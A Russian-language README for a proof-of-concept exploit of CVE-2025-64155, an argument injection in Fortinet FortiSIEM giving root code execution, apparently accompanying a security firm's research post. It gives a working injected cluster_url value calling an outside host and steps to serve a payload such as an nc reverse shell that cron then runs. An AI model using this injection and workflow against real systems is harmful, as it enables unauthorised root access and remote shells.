CVE-2025-64155: Fortinet FortiSIEM — внедрение аргументов, приводящее к удаленному выполнению кода

Концептуальный эксплойт для Fortinet FortiSIEM, использующий внедрение аргументов для записи файла и получения выполнения кода с правами root

Пост в блоге

Подробный анализ здесь: Horizon3.ai — CVE-2025-64155: Три года удаленного получения прав root в Fortinet FortiSIEM

Примечание

Эксплуатация этой проблемы для перезаписи файлов приложения, скорее всего, приведет к нестабильности системы. Используйте с осторожностью. Проверки можно выполнять безвредно, изменив cluster_url на: <cluster_url>http://127.0.0.1:80 --next http://<INTERACTSH_URL></cluster_url>

Использование

1. Измените payload в веб-сервере serve.py на желаемый (например, nc reverse shell)
2. Измените cluster_url в CVE-2025-64155.py, чтобы он указывал на базовый URL сервера, на котором запущен serve.py (например, http://10.0.40.83:9200)
3. Запустите веб-сервер serve.py
4. Запустите эксплойт CVE-2025-64155.py
5. Подождите примерно 1 минуту, пока cron-задание выполнит payload

% python3 CVE-2025-64155.py -h
usage: CVE-2025-64155.py [-h] -t TARGET [-p PORT]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -p PORT, --port PORT  The port of the Phoenix Monitor service

Подписывайтесь на Horizon3.ai Attack Team в Twitter, чтобы быть в курсе последних исследований в области безопасности:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Отказ от ответственности

Это программное обеспечение создано исключительно для академических исследований и разработки эффективных защитных методов и не предназначено для атаки на системы без явного разрешения. Сопровождающие проекта не несут ответственности за неправильное использование программного обеспечения. Используйте ответственно.